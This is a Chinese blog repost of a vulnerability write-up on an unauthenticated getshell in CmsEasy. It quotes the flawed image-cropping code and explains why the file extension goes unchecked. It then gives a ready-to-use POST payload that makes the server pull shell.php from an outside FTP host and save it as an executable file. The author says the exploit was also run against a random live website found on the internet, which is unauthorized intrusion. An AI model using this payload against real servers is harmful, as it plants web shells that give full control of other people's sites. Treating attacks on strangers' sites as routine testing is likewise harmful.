美文网首页我爱编程
CmsEasy 前台无限制getshell

CmsEasy 前台无限制getshell

作者: 索马里的乌贼 | 来源:发表于2018-08-04 15:24 被阅读0次

发布时间:2016-09-29
公开时间:N/A
漏洞类型:getshell
危害等级:高
漏洞编号:QTVA-2016-540503
测试版本:20160825

漏洞详情

lib/default/tool_act.php 行392

function cut_image_action() {
        $len = 1;
        if(config::get('base_url') != '/'){
                $len = strlen(config::get('base_url'))+1;
        }
        if(substr($_POST['pic'],0,4) == 'http'){
                front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
        }else{
                front::$post['thumb'] = substr($_POST['pic'],$len);
        }
        
        $thumb=new thumb();
        $thumb->set(front::$post['thumb'],'jpg');
        $img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
        $new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
        $save_file='upload/images/'.date('Ym').'/'.$new_name;
        @mkdir(dirname(ROOT.'/'.$save_file));
        ob_start();
        $thumb->out_image($img,null,85);
        file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
        ob_end_clean();
        $image_url=config::get('base_url').'/'.$save_file;
        //$res['size']=ceil(strlen($img) / 1024);
        $res['code']="
                 //$('#cut_preview').attr('src','$image_url');
                 $('#thumb').val('$image_url');
                                 alert(lang('save_success'));
                ";
        echo json::encode($res);
    }

没有判断pic的后缀就直接取了

$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));

做为文件名字 导致getshell
此处的坑是

  1. 需要过ImageCreateFromxxxImageCopyResampledImageJpeg 3个函数 任然保留shell语句
  2. 需要通过file_exists函数的验证

第一个坑就不说怎么绕过的了 各种fuzz就是了
第二个坑
file_exists并不能判断远程http(s)文件是否存在 固定返回false
查阅manual得知

自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。

查了下各种封装协议wrappers发现了 ftp:// 支持 stat();

Attribute PHP4 PHP5
Supports stat() No As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only.
--- --- As of PHP 5.1.0: filemtime().

5.0.0以上 就支持file_exists()了
接下来就是根据要求构造payload

$len = 1;
if(config::get('base_url') != '/'){
    $len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
    front::$post['thumb'] =             str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
    front::$post['thumb'] = substr($_POST['pic'],$len);
}

如果站点不是放在根目录 则需要在payload前面补足 strlen(base_url)+2 位的长度 如果在根目录也要补1
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146

本地测试截图

image
互联网随便找了个站
image

相关文章

  • CmsEasy 前台无限制getshell

    发布时间:2016-09-29公开时间:N/A漏洞类型:getshell危害等级:高漏洞编号:QTVA-2016-...

  • PHPCMS前台Getshell

    发布时间:2016-09-01 公开时间:N/A 漏洞类型:代码执行 危害等级:高 漏洞编号:xianzhi-20...

  • phpweb前台getshell

    影响范围 测试环境: 秘钥加密方式 漏洞检测方法 1、获取秘钥 获取的秘钥:k=01a5b56136714988a...

  • DedeCMS-V5.7 前台鸡肋&后台getshell

    0x01 吹牛逼 官方下载最新安装包http://updatenew.dedecms.com/base-v57/p...

  • CmsEasy暴力注入

    发布时间:2015-12-21 公开时间:2016-03-03 漏洞类型:sql注射 危害等级:高 漏洞编号:Wo...

  • 当我们讨论前台,我们在讨论什么?

    “据说互联网好公司的标准 :前台大美女、上班不打卡、厕所不排队、墙内外上网无限制、工资有点高、基本不加班、上班不无...

  • phpmyadmin getshell

    1.getshell条件 使用root账户登陆phpmyadmin 2.Mysql变量设置 1.general l...

  • bugku getshell

    这看题目应该是是多次绕过后文件上传 本来没什么思路,然后看了看大佬们的解题,说实话对于将multipart改成Mu...

  • phpmyadmin getshell

    在通过对目标进行信息收集探测后,当发现存有phpmyadmin目录时,进而通过弱口令或者暴力破解进入数据库之后,有...

  • mysql getshell

    mysql getshell: 1、利用select '代码' into outfile '绝对路径' selec...

网友评论

    本文标题:CmsEasy 前台无限制getshell

    本文链接:https://www.haomeiwen.com/subject/zvoyvftx.html